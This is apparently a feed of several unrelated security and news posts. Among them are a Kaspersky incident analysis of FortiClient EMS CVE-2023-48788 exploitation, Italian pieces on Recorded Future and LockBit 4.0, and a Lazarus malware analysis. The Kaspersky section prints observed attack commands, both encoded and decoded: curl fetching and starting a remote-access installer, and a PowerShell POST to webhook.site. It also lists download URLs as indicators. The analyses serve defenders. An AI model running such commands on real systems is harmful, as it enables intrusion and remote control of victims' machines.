We were able to discover the evidence of an SQL injection that the attacker had successfully performed in one of the ERRORLOG files at the second path, C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Log\ERRORLOG.X.

Evidence of the CVE-2023-48788 exploitation

By reviewing Kaspersky telemetry data associated with the same verdict, GERT experts were able to identify the commands executed by the attackers using a set of instructions contained in a Base64-encoded URL that matched the activities identified in the analyzed system.
Filename c:\program files\microsoft sql
server\mssql14.fcems\mssql\binn\sqlservr.exe
[19:40:10.147][2472][3268]PDMCreateProcess("$system32\cmd
.exe",""$system32\cmd.exe" /c POWERSHELL.EXE -COMMAND ""ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE
/C
([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%7
0%64%61%74%65%2E%65%78%65%20%22%68%74%74%70%73%3A%2F%2F%69%6E%66%69%6E%69%74%7
9%2E%73%63%72%65%65%6E%63%6F%6E%6E%65%63%74%2E%63%6F%6D%2F%42%69%6E%2F%53%63%7
2%65%65%6E%43%6F%6E%6E%65%63%74%2E%43%6C%69%65%6E%74%53%65%74%75%70%2E%65%78%6
5%3F%65%3D%41%63%63%65%73%73%26%79%3D%47%75%65%73%74%22%20%26%20%73%74%61%72%7
4%20%2F%42%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65"""))"""
The decoded code is as follows.
curl -o C:\update.exe
"https://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access
&y=Guest" & start /B C:\update.exe
The attackers took advantage of the curl command to download an installer for the ScreenConnect remote access application. We also observed the use of the Windows native binary
certutil for the same purpose. The installer would be stored as update.exe in the root of the C: drive, which would then be executed in the background. Judging by the y=Guest parameter in the URL query, the attackers seemingly relied on a ScreenConnect trial license.
We found that after the initial installation, the attackers began to upload additional payloads to the compromised system, to begin discovery and lateral movement activities, such as enumerating network resources, trying to obtain credentials, perform defense evasion techniques and generating a further type of persistence via the AnyDesk remote control tool. The payloads we discovered are provided in the table below.

After confirming the exploitation success, we managed to collect additional evidence. By analyzing AnyDesk logs, we managed to get an IP address used in the intrusion.

C:\ProgramData\AnyDesk\ad_svc.trace — AnyDesk connections

According to cyberthreat intelligence resources, this IP address belongs to the Russian region and has been flagged as part of a network linked to a malicious campaign that abused Cobalt Strike.

Analysis of telemetry data for similar threat-related cases

Our telemetry data revealed that threat actors have been targeting various companies and consistently altering ScreenConnect subdomains, seemingly changing them regardless of the specific target.

In addition to the above behavior, GERT experts spotted attempts to download and execute various payloads from additional unclassified external resources that had been used in other exploitation incidents. This strongly indicates that other attackers have been abusing the same vulnerability with a different second-stage payload aimed at multiple targets.

As for the regions and countries impacted by attempts to exploit this vulnerability with other payloads, we can confirm that this threat does not target specific locations, although we’ve observed a minor bias towards South America (5 out of 15 attacks).

Countries targeted by additional malicious payloads, April–November 2024 (download)

An ever-evolving “approach” to abusing the vulnerability in similar incidents

While further tracking this threat on October 23, 2024, GERT analysts detected active attempts to exploit CVE-2023-48788 in the wild by executing a similar command. At that point, the activity involved a free service provided by the webhook.site domain.
"C:\Windows\system32\cmd.exe" /c POWERSHELL.EXE -COMMAND ""ADD-
TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C
([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%70%6f%77%65%72%73%68%65%6
c%6c%20%2d%63%20%22%69%77%72%20%2d%55%72%69%20%68%74%74%70%73%3a%2
f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%32%37%38%66%58%58%58%5
8%2d%63%61%33%62%2d[REDACTED]%2d%39%36%65%34%2d%58%58%58%58%34%35%
61%61%36%38%30%39%20%2d%4d%65%74%68%6f%64%20%50%6f%73%74%20%2d%42%
6f%64%79%20%27%74%65%73%74%27%20%3e%20%24%6e%75%6c%6c%22"""))""
When decoded, it turned out to be a command chain with a final PS1 command in it.
cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c "iwr -Uri
hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX45aa6809 -Method Post -Body
'test' > $null"
According to information from webhook.site, the service “generates free, unique URLs and email addresses and lets you see everything that’s sent there instantly”. The uniqueness is guaranteed by a generated token included in the URL, email address or DNS domain. Users can enable the service for free or include additional services and features for a fee.

Webhook.site website

GERT experts confirmed that the threat actor was using this service to collect responses from vulnerable targets while performing a scan of the systems affected by the FortiClient EMS vulnerability. Knowing the specific webhook.site token used by the attackers, we were able to identify 25 requests to webhook.site during five hours on October 23. Of these, 22 originated from the distinct source IPs of vulnerable targets located in 18 different countries, and three more requests came from the same source, highlighted in red below.

Countries targeted by additional malicious activity on October 23, 2024 (download)

Three requests originated from the same IP address 135.XXX.XX.47 located in Germany and hosted by Hetzner Online GmbH. This IP has a bad reputation and was associated with an infostealer threat in October and November of last year, although we are not sure that this address has been abused by the threat actor or is part of their network. This host is showing open ports 80 and 7777 with an HTTP service on port 80 and an SSL service on port 7777.

A web interface for PRTG Network Monitor 24.1.92.1554 x64 is hosted on port 80 with what seems to be the default configuration and a PRTG Freeware trial license that expired on October 24, 2020.

PRTG Network Monitor enabled on the suspicious host

The common name for the SSL certificate on port 7777 is WIN-LIVFRVQFMKO. Threat intelligence analysis has indicated that this host is known to be used frequently by various threat actors, among them the Conti and LockBit ransomware groups. However, it could also be a default Windows OS template hostname used by the hosting provider Hetzner.

SSL certificate on port 7777 of a suspicious host

Multiple successful attempts to access webhook.site and several suspicious variations discovered in the HTTP POST content led GERT analysts to believe that this host could be a “deprecated PRTG installation” compromised and controlled by the attacker in some way, and used to test the service provided by webhook.site.

Tactics, techniques and procedures

Below are the TTPs identified from our analysis and detections.

Conclusion

The analysis of this incident helped us to establish that the techniques currently used by the attackers to deploy remote access tools are constantly being updated and growing in complexity. Although the vulnerability in question (CVE-2023-48788) had been patched by the time of the attacks, we suggest that multiple threat actors were able to exploit it, endangering a large number of users across various regions. That serves as a stark reminder of the need to constantly update technologies — to versions 7.0.11–7.0.13 or 7.2.3 and later in case of FortiClient EMS — that remain exposed to the internet, as this can serve as an initial vector for a cyberincident. Implementing alert notifications and patch management for any application with direct or indirect public access complements the regular update process.

In order to prevent and defend against attacks like these, we strongly recommend always installing an EPP agent on every host running an OS — even if it’s used with a specific role — and configuring additional controls like Application Control to block the execution of legitimate tools if abused by threat actors. It is worth pointing out that an MDR implementation on computers adjacent to the initial vector was able to detect and block attackers in a timely manner, preventing them from achieving their ultimate objectives or causing major impact within the victim’s environment. Also, installing agents that constantly monitor and detect threats on computers can be a key factor in containing the threat during an incident.

Indicators of Compromise

Applications/Filenames from the incident

C:\update.exe
HRSword.exe
Mimik!!!.exe
br.exe
donpapi.exe
netpass64.exe
webbrowserpassview.exe
netscan.exe
connectwise / ScreenConnect
AnyDesk

HASH – SHA1 from the incident

8cfd968741a7c8ec2dcbe0f5333674025e6be1dc
441a52f0112da187244eeec5b24a79f40cc17d47
746710470586076bb0757e0b3875de9c90202be2
bc29888042d03fe0ffb57fc116585e992a4fdb9b
73f8e5c17b49b9f2703fed59cc2be77239e904f7
841fff3a36d82c14b044da26967eb2a8f61175a8
34162aaf41c08f0de2f888728b7f4dc2a43b50ec
cf1ca6c7f818e72454c923fea7824a8f6930cb08
e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69
59e1322440b4601d614277fe9092902b6ca471c2
75ebd5bab5e2707d4533579a34d983b65af5ec7f
83cff3719c7799a3e27a567042e861106f33bb19
44b83dd83d189f19e54700a288035be8aa7c8672
8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8

Domains / IP addresses from the incident

45.141.84[.]45
infinity.screenconnect[.]com
kle.screenconnect[.]com
trembly.screenconnect[.]com
corsmich.screenconnect[.]com

Domains / IP addresses from additional malicious payloads discovered

185.216.70.170:1337
hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw
HXXP://148.251.53.222:14443/SETUP.MSI
hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8
hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4
HXXP://185.216.70.170/OO.BAT
HXXP://185.216.70.170/HELLO
HXXP://185.216.70.170/A
hxxp://185.216.70.170
hxxp://185.216.70.170/oo.bat
hxxp://185.216.70.170/hello
hxxp://185.216.70.170/sos.txt
hxxp://185.216.70.170/72.bat
hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w
qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun
hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\FaLNkAQGOe.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\QgCNsJRB.exe
hxxps://www.lidahtoto2.com/assets/im.ps1
hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\EdgouRkWzLsK.exe

securelist.com/patched-forticl…

Energy harvesting, the practice of scavenging ambient electromagnetic fields, light, or other energy sources, is a fascinating subject that we don’t see enough of here at Hackaday. It’s pleasing then to see [Jeff Keacher]’s Christmas card: it’s a PCB that lights up some LEDs on a Christmas tree, using 2.4 GHz radiation, and ambient light.

The light sensors are a set of LEDs, but the interesting part lies in the RF harvesting circuit. There’s a PCB antenna, a matching network, and then a voltage multiplier using dome RF Schottky diodes. These in turn charge a supercapacitor, but if there’s not enough light a USB power source can also be hooked up. All of this drives a PIC microcontroller, which drives the LEDs.

Why a microcontroller, you ask? This card has an interesting trick up its sleeve, despite having no WiFi of its own, it can be controlled over WiFi. If the 2.4 GHz source comes via proximity to an access point, there’s a web page that can be visited with a script generating packets in bursts that produce a serial pulse train on the DC from the power harvester. The microcontroller can see this, and it works as a remote. This is in our view, next-level.

hackaday.com/2024/12/19/where-…

Recentemente, il governo russo ha preso una decisione che ha che ha suscitato grande attenzione a livello internazionale: ha etichettato ufficialmente la compagnia di intelligence sulle minacce informatiche (CTI) Recorded Future come “indesiderabile”. Per l’azienda, questa etichetta non è un castigo, ma piuttosto un segno di onore, come sottolineato dallo stesso CEO, Christopher Ahlberg.

L’etichetta di “indesiderabile” è una terminologia ufficiale adottata dalla Russia per sanzionare enti che non rientrano nei suoi favori, impedendo loro di operare nel paese o interagire con aziende e individui russi. Introdotta nel 2015, questa misura ha lo scopo di limitare l’influenza di organizzazioni non governative (ONG), media e altri membri della società civile che mettono in luce le violazioni dei diritti umani e criticano il regime di Vladimir Putin, noto per il suo autoritarismo.

Recorded Future è la prima organizzazione di sicurezza informatica a ricevere questa nomina, e una delle poche aziende a “guadagnarsela”. Tuttavia, l’ufficio del Procuratore Generale della Federazione Russa ha erroneamente etichettato l’azienda come un’ONG, nel suo annuncio del 18 dicembre riguardo alla “designazione indesiderabile”. Tra le presunte colpe che hanno portato a questa decisione ci sono: il finanziamento da parte di aziende americane, la fornitura di servizi di ricerca, elaborazione e analisi di dati, inclusi quelli provenienti dal Dark Web, la “specializzazione nelle minacce informatiche” e l’interazione attiva con la CIA e altri servizi di intelligence stranieri.

Inoltre, il Procuratore Generale ha accusato Recorded Future di diffondere “propaganda” e di essere coinvolta in “campagne informative offensive” riguardo alla guerra in Ucraina, monitorando le attività dell’esercito russo e alimentando le autorità ucraine con informazioni riservate.

Nonostante le accuse, Christopher Ahlberg ha reagito positivamente alla notizia, postando su X: “Alcune cose nella vita sono complimenti rari. Questa lo è.“

Questa mossa da parte della Russia arriva in un momento in cui Recorded Future sta per essere acquisita da Mastercard per 2,65 miliardi di dollari, dimostrando ancora una volta l’importanza strategica dell’azienda nel panorama globale della cyber security. La decisione del governo russo di etichettarla come indesiderabile non fa che evidenziare il peso e la rilevanza che l’azienda ha acquisito nel monitoraggio delle minacce informatiche globali e nella lotta contro la disinformazione.

L'articolo Russia etichetta Recorded Future come “Indesiderabile”: un vanto per il CEO proviene da il blog della sicurezza informatica.

In questi giorni, alcuni Carabinieri del Centro Cinofili di Firenze sono impegnati in Iraq in una attività formativa a favore della Direzione Anti Narcotici e Sostante Psicoattive del Ministero dell'Interno iracheno, nell'ambito del progetto EU-ACT finanziato dall'Unione Europea.

EU-ACT 2 è un progetto di cooperazione che fornisce sostegno ai paesi terzi nella lotta alla criminalità organizzata, migliorando le loro capacità di affrontare le minacce dal punto di vista dello stato di diritto. Questa iniziativa fa parte del Programma dell’UE per contrastare i flussi illeciti globali (GIFP). Con un budget di 13 milioni di euro, attivo da giugno 2023 a maggio 2027, il progetto è finanziato dalla Commissione Europea attraverso il Servizio per gli Strumenti di Politica Estera (FPI) ed è realizzato attraverso la collaborazione tra FIIAPP (Spagna), CIVIPOL (Francia) e l'Arma dei Carabinieri (Italia).

L’obiettivo dell’UE-ACT 2 intende contribuire alla lotta contro la criminalità organizzata e il traffico illecito lungo le “rotte dell’eroina” dall’Afghanistan all’Europa, concentrandosi su aree geografiche critiche come l’Asia meridionale e centrale, l’Africa orientale, il Caucaso e il Medio Oriente. L’intervento è inoltre in linea con i piani operativi di Europol, con particolare attenzione all’alta reti criminali a rischio (HRCN) e traffico di stupefacenti come l’eroina e le nuove droghe sintetiche (SYD-NPS).

Gli esperti del progetto agiscono per rafforzare le capacità delle autorità di polizia e giudiziarie dei paesi beneficiari nella conduzione di operazioni e indagini congiunte, migliorare le competenze nel perseguire i casi di criminalità organizzata,
e promuovere una cooperazione transnazionale più efficace tra le autorità competenti, in linea con gli standard internazionali e i diritti umani.

Il Centro Carabinieri Cinofili, con sede in Firenze, è stato istituito l’8 novembre 1957 con il compito di assicurare l’addestramento del personale e dei quadrupedi in forza al Servizio Cinofili dell’Arma, per il loro impiego nei servizi preventivi e in operazioni di polizia giudiziaria, di ricerca e di soccorso. Svolge, inoltre, funzioni di indirizzo tecnico-addestrativo a favore di tutte le unità cinofile dell’organizzazione territoriale/forestale, attività di sperimentazione di nuove razze canine, di metodologie addestrative e di materiali di equipaggiamento, nonché la formazione di personale delle forze armate e di polizia, nazionali e straniere, che ne facciano richiesta.

#ArmadeiCarabinieri #iraq #carabiniericinofili #EU-ACT #europol

@Notizie dall'Italia e dal mondo

Il gruppo LockBit, una delle organizzazioni di cybercriminali più temute e attive nel panorama degli attacchi ransomware, ha ufficialmente lanciato la sua ultima versione: LockBit 4.0. Questo nuovo aggiornamento rappresenta una tappa evolutiva importante rispetto al precedente LockBit 3.0, conosciuto anche come LockBit Black, che già aveva guadagnato notorietà per la sua capacità di infliggere danni considerevoli a organizzazioni e aziende di ogni dimensione e settore.

LockBit 4.0 introduce una serie di nuove funzionalità avanzate, abbinate a una strategia di reclutamento che rompe con le pratiche passate, offrendo l’accesso a chiunque sia disposto a pagare una somma modesta. Questa mossa potrebbe avere implicazioni devastanti per la sicurezza informatica globale e apre un nuovo capitolo nel mondo dei ransomware.

I dettagli del rilascio di LockBit 4.0

Il messaggio promozionale con cui è stato annunciato LockBit 4.0 è tanto provocatorio quanto inquietante. Con un linguaggio sfacciato e provocativo, il gruppo si rivolge direttamente a coloro che potrebbero essere attratti dalla promessa di ricchezza e successo facile:

“Vuoi una Lamborghini, una Ferrari e tante ragazze? Iscriviti e inizia il tuo viaggio da pentester miliardario in 5 minuti con noi.”

Questa retorica, che richiama stereotipi di lusso e uno stile di vita sfarzoso, è chiaramente progettata per ammaliare e sedurre nuovi affiliati, soprattutto giovani attratti da guadagni rapidi e dall’idea di fama nel mondo underground dell’hacking.

Il processo di registrazione semplificato: accesso a pagamento con BTC o XMR

Il nuovo approccio di LockBit 4.0 è sorprendentemente aperto e inclusivo. La piattaforma mette a disposizione una schermata di login minimalista e funzionale, dove gli utenti possono registrarsi con pochi passaggi semplici. Per accedere, è necessario inserire un nome utente, una password e risolvere un captcha di verifica.

Questa procedura di accesso è supportata da due metodi di pagamento principali:

1. Bitcoin (BTC) – La criptovaluta più diffusa e utilizzata per le transazioni nel dark web.
2. Monero (XMR) – Una criptovaluta nota per l’elevato livello di anonimato, che rende le transazioni ancora più difficili da tracciare rispetto a Bitcoin.

Questa duplice opzione di pagamento offre maggiore flessibilità agli aspiranti affiliati e sottolinea l’attenzione del gruppo LockBit per garantire l’anonimato e la sicurezza delle transazioni.

Il costo di accesso: 777 USD in Bitcoin

Per accedere alla piattaforma LockBit 4.0 e ottenere il pieno controllo del ransomware, è richiesto il pagamento di una somma pari a 0,007653 BTC, equivalente a circa 777 USD. Le istruzioni fornite indicano di inviare l’importo all’indirizzo Bitcoin dedicato.

Il messaggio avverte chiaramente che il pagamento deve essere pari o superiore all’importo specificato, altrimenti la registrazione sarà annullata. Viene anche consigliato l’uso di un cryptocurrency mixer per rendere le transazioni meno tracciabili e mantenere l’anonimato.

Stato attuale del wallet Bitcoin: nessun pagamento ricevuto

Nonostante l’annuncio roboante e l’apertura a nuovi affiliati, al momento l’indirizzo Bitcoin fornito per il pagamento non mostra ancora alcuna transazione. Il saldo confermato e non confermato è infatti pari a 0 BTC (0 USD), come evidenziato nella seguente schermata:

Questa mancanza di attività potrebbe indicare:

1. Scetticismo iniziale da parte dei potenziali affiliati, che potrebbero voler attendere ulteriori prove di successo prima di investire.
2. Paura di monitoraggio da parte delle forze dell’ordine, che spesso tengono sotto osservazione questi indirizzi Bitcoin.
3. Cautela da parte di chi è interessato ma preferisce utilizzare Monero per garantire un livello di anonimato più elevato.

Cosa offre la piattaforma di LockBit 4.0?

Una volta effettuato il pagamento e completata la registrazione, gli utenti ottengono immediatamente l’accesso al pannello di controllo del ransomware. Da questa piattaforma è possibile:

• Creare build personalizzate del ransomware per sistemi Windows, ESXi e Linux.
• Gestire campagne di attacchi ransomware in modo organizzato e automatizzato.
• Comunicare con le vittime per negoziare il riscatto e gestire le richieste di pagamento.
• Scaricare strumenti di crittografia avanzati per bloccare i sistemi delle vittime in modo rapido ed efficiente.

Un cambio di approccio radicale: la democratizzazione del cybercrimine

L’apertura di LockBit 4.0 a chiunque sia disposto a pagare rappresenta un cambiamento radicale nel modello di business dei ransomware. In passato, l’accesso a strumenti così avanzati era riservato a pochi affiliati selezionati e fidati. Ora, con una somma accessibile di 777 USD, chiunque con una conoscenza informatica di base può accedere a strumenti potenti e dannosi.

Questa strategia di democratizzazione del cybercrimine porta con sé implicazioni devastanti:

1. Esplosione degli attacchi ransomware: Un numero maggiore di attori malevoli potrebbe lanciare attacchi, colpendo aziende e organizzazioni di ogni dimensione.
2. Maggiore imprevedibilità e caos: La facilità di accesso significa che anche hacker meno esperti potrebbero scatenare attacchi maldestri ma comunque devastanti.
3. Sovraccarico delle infrastrutture di sicurezza: Con un incremento esponenziale degli attacchi, le aziende potrebbero non riuscire a difendersi adeguatamente.

Un monito ai giovani attratti dal cybercrimine

L’annuncio di LockBit 4.0 può sembrare allettante, soprattutto per i giovani affascinati dalla promessa di denaro facile e successo immediato. Tuttavia, è fondamentale ricordare che entrare nel mondo del cybercrimine è illegale e comporta rischi enormi.

Attività come il lancio di ransomware, l’accesso non autorizzato a sistemi informatici e l’estorsione costituiscono reati gravi, tra cui:

• Frode informatica
• Sostituzione di persona
• Estorsione
• Accesso abusivo a sistema informatico (punito dall’art. 615 ter del Codice Penale con la reclusione fino a tre anni)

Anche atti apparentemente innocui, come curiosare nei sistemi altrui per dimostrare le proprie competenze, sono illegali e possono avere conseguenze devastanti sulla vita personale e professionale.

Esistono percorsi legali e stimolanti nel mondo della cybersecurity. Le competenze informatiche possono essere impiegate per difendere aziende e istituzioni, proteggere dati sensibili e contrastare i cybercriminali. Scegliere la strada della legalità e dell’etica offre soddisfazioni personali e professionali durature, contribuendo a un mondo digitale più sicuro per tutti.

Sfrutta le tue capacità per creare, proteggere e innovare. La tua abilità può fare la differenza, ma solo se usata con responsabilità.

L'articolo LockBit 4.0: Il nuovo ransomware apre le porte a chiunque sia disposto a pagare proviene da il blog della sicurezza informatica.

Over the past few years, the Lazarus group has been distributing its malicious software by exploiting fake job opportunities targeting employees in various industries, including defense, aerospace, cryptocurrency, and other global sectors. This attack campaign is called the DeathNote campaign and is also referred to as “Operation DreamJob”. We have previously published the history of this campaign.

Recently, we observed a similar attack in which the Lazarus group delivered archive files containing malicious files to at least two employees associated with the same nuclear-related organization over the course of one month. After looking into the attack, we were able to uncover a complex infection chain that included multiple types of malware, such as a downloader, loader, and backdoor, demonstrating the group’s evolved delivery and improved persistence methods.

In this blog, we provide an overview of the significant changes in their infection chain and show how they combined the use of new and old malware samples to tailor their attacks.

Never giving up on their goals

Our past research has shown that Lazarus is interested in carrying out supply chain attacks as part of the DeathNote campaign, but this is mostly limited to two methods: the first is by sending a malicious document or trojanized PDF viewer that displays the tailored job descriptions to the target. The second is by distributing trojanized remote access tools such as VNC or PuTTY to convince the targets to connect to a specific server for a skills assessment. Both approaches have been well documented by other security vendors, but the group continues to adapt its methodology each time.

The recently discovered case falls under the latter approach. However, except for the initial vector, the infection chain has completely changed. In the case we discovered, the targets each received at least three archive files allegedly related to skills assessments for IT positions at prominent aerospace and defense companies. We were able to determine that two of the instances involved a trojanized VNC utility. Lazarus delivered the first archive file to at least two people within the same organization (we’ll call them Host A and Host B). After a month, they attempted more intensive attacks against the first target.

Malicious files created on the victims’ hosts

Appearing with state-of-the-art weapons

In the first case, in order to go undetected, Lazarus delivered malicious compressed ISO files to its targets, since ZIP archives are easily detected by many services. Although we only saw ZIP archives in other cases, we believe the initial file was also an ISO. It is unclear exactly how the files were downloaded by the victims. However, we can assess with medium confidence that the ISO file was downloaded using a Chromium-based browser. The first VNC-related archive contained a malicious VNC, and the second contained a legitimate UltraVNC Viewer and a malicious DLL.

Malicious AmazonVNC.exe (left) / Legitimate vncviewer.exe (right)

The first ISO image contains a ZIP file that contains two files: AmazonVNC.exe and readme.txt. The AmazonVNC.exe file is a trojanized version of TightVNC – a free and open source VNC software that allows anyone to edit the original source code. When the target executes AmazonVNC.exe, a window like the one in the image above pops up. The IP address to enter in the ‘Remote Host’ field is stored in the readme.txt file along with a password. It is likely that the victim was instructed to use this IP via a messenger, as Lazarus tends to pose as recruiters and contact targets on LinkedIn, Telegram, WhatsApp, etc. Once the IP is entered, an XOR key is generated based on it. This key is used to decrypt internal resources of the VNC executable and unzip the decrypted data. The unzipped data is in fact a downloader we dubbed Ranid Downloader, which is loaded into memory by AmazonVNC.exe to execute further malicious operations.

The [Company name]_Skill_Assessment_new.zip file embeds UltraVNC’s legitimate vncviewer.exe, which is open source VNC software like TightVNC. The ZIP file also contains the malicious file vnclang.dll, which is loaded using side-loading. Although we have not been able to obtain the malicious vnclang.dll, we classified it as a loader of the MISTPEN malware described by Mandiant in a recent report, based on its communication with the C2 – namely the payloads, which use the same format as payloads on the MISTPEN server we were able to obtain. According to our telemetry, in our particular case, MISTPEN ultimately fetched an additional payload under the name [Random ID]_media.dat from the C2 server twice. The first payload turned out to be RollMid, which was described in detail in an Avast report published in April 2024. The second was identified as a new LPEClient variant. MISTPEN and RollMid are both relatively new malicious programs from the Lazarus group that were unveiled this year, but were still undocumented at the time of the actual attack.

CookieTime still in use

Another piece of malware found on the infected hosts was CookieTime. We couldn’t quite figure out how the CookieTime malware was delivered to Host A, but according to our telemetry, it was executed as the
SQLExplorer service after the installation of LPEClient. In the early stages, CookieTime functioned by directly receiving and executing commands from the C2 server, but more recently it has been used to download payloads.
The actor moved laterally from Host A to Host C, where CookieTime was used to download several malware strains, including LPEClient, Charamel Loader, ServiceChanger, and an updated version of CookiePlus, which we’ll discuss later in this post. Charamel Loader is a loader that takes a key as a parameter and decrypts and loads internal resources using the ChaCha20 algorithm. To date, we have identified three malware families delivered and executed by this loader: CookieTime, CookiePlus, and ForestTiger, the latter of which was seen in an attack unrelated to those discussed in the article.

The ServiceChanger malware stops a targeted legitimate service and then stores malicious files from its resource section to disk so that when the legitimate service is restarted, it loads the created malicious DLL via DLL side-loading. In this case, the targeted service was ssh-agent and the DLL file was libcrypto.dll. Lazarus’s ServiceChanger behaves differently than the similarly named malware used by Kimsuky. While Kimsuky registers a new malicious service, Lazarus exploits an existing legitimate service for DLL side-loading.

There were several cases where CookieTime was loaded by DLL side-loading and executed as a service. Interestingly, CookieTime supports many different ways of loading, which also results in different entry points, as can be seen below:

Overall malware-to-malware flowchart

CookiePlus capable of downloading both DLL and shellcode

CookiePlus is a new plugin-based malicious program that we discovered during the investigation on Host C. It was initially loaded by both ServiceChanger and Charamel Loader. The difference between each CookiePlus loaded by Charamel Loader and by ServiceChanger is the way it is executed. The former runs as a DLL alone and includes the C2 information in its resources section, while the latter fetches what is stored in a separate external file like msado.inc, meaning that CookiePlus has the capability to get a C2 list from both an internal resource and an external file. Otherwise, the behavior is the same.

When we first discovered CookiePlus, it was disguised as ComparePlus, an open source Notepad++ plugin. Over the past few years, the group has consistently impersonated similar types of plugins. However, the most recent CookiePlus sample, discovered in an infection case unrelated to those discussed in the article, is based on another open source project, DirectX-Wrappers, which was developed for the purpose of wrapping DirectX and Direct3D DLLs. This suggests that the group has shifted its focus to other themes in order to evade defenses by masquerading as public utilities.

Because CookiePlus acts as a downloader, it has limited functionality and transmits minimal information from the infected host to the C2 server. During its initial communication with the C2, CookiePlus generates a 32-byte data array that includes an ID from its configuration file, a specific offset, and calculated step flag data (see table below). One notable aspect is the inclusion of a specific offset that points to the last four bytes of the configuration file path. While this offset appears random due to ASLR, it could potentially allow the group to determine if the offset remains fixed. This could help distinguish whether the payload is being analyzed by an analyst or security products.

The array is then encrypted using a hardcoded RSA public key. Next, CookiePlus encodes the RSA-encrypted data using Base64. It is set as the cookie value in the HTTP header and passed to the C2. This cookie data is used in the follow up communication, possibly for authentication. CookiePlus then retrieves an additional encrypted payload received from the C2 along with cookie data. Unfortunately, during our investigating of this campaign, it was not possible to set up a connection to the C2, so the exact data returned is unknown.

CookiePlus then decodes the payload using Base64. The result is a data structure containing the ChaCha20-encrypted payload, as shown below. It is possible that the entire payload is not received at once. To know when to stop requesting more data, CookiePlus looks at the value of the offset located at 0x07 and continues to request more data until the value is set to 1.

Next, the payload is decrypted using the previously generated 32-byte data array as a key and the delivered nonce. The type of payload is determined by the flag at offset 0x04, which can be either a DLL or shellcode.

If the value of the flag is 0xBEF0, the encrypted payload is a DLL file that is loaded into memory. The payload can also contain a parameter that is passed to the DLL when loaded.

If the value is 0xBEEF, CookiePlus checks whether the first four bytes of the payload are smaller than
0x80000000. If so, the shellcode in the payload is loaded after being granted execute permission. After the shellcode is executed, the ChaCha20-encrypted result is sent to the C2. For the encryption, the same 32-byte data array is again used as the key, and a 12-byte nonce is randomly generated. As a result, the following structure is sent to the C2.

This process of continuously downloading additional payloads persists until the C2 stops responding.

CookiePlus C2 communication process

We managed to obtain three different shellcodes loaded by CookiePlus. The shellcodes are actually DLLs that are converted to shellcode using the sRDI open source shellcode generation tool. These DLLs then act as plugins. The functionality of each of the three plugins is as follows and the execution result of the plugin is encrypted and sent to the C2.

Based on all of the above, we assess with medium confidence that CookiePlus is the successor to MISTPEN. Despite there being no notable code overlap, there are several similarities. For example, both disguise themselves as Notepad++ plugins.

In addition, the CookiePlus samples were compiled and used in June 2024, while the latest MISTPEN samples we were able to find were compiled in January and February 2024, although we suspect that MISTPEN was also used in the discussed campaign. MISTPEN also used similar plugins such as
TBaseInfo.dll and hiber.dll just like CookiePlus. The fact that CookiePlus is more complete than MISTPEN and supports more execution options also supports our claim.

Infrastructure

The Lazarus group used compromised web servers running WordPress as C2s for the majority of this campaign. Samples such as MISTPEN, LPEClient, CookiePlus and RollMid used such servers as their C2. For CookieTime, however, only one of the C2 servers we identified ran a website based on WordPress. Additionally, all the C2 servers seen in this campaign run PHP-based web services not bounded to a specific country.

Conclusion

Throughout its history, the Lazarus group has used only a small number of modular malware frameworks such as Mata and Gopuram Loader. Introducing this type of malware is an unusual strategy for them. The fact that they do introduce new modular malware, such as CookiePlus, suggests that the group is constantly working to improve their arsenal and infection chains to evade detection by security products.

The problem for defenders is that CookiePlus can behave just like a downloader. This makes it difficult to investigate whether CookiePlus downloaded just a small plugin or the next meaningful payload. From our analysis, it appears to be still under active development, meaning Lazarus may add more plugins in the future.

Indicators of compromise

Trojanized VNC utility

Ranid Downloader

CookieTime

Charamel Loader

ServiceChanger

CookiePlus Loader

CookiePlus

CookiePlus plugins

MISTPEN

securelist.com/lazarus-new-mal…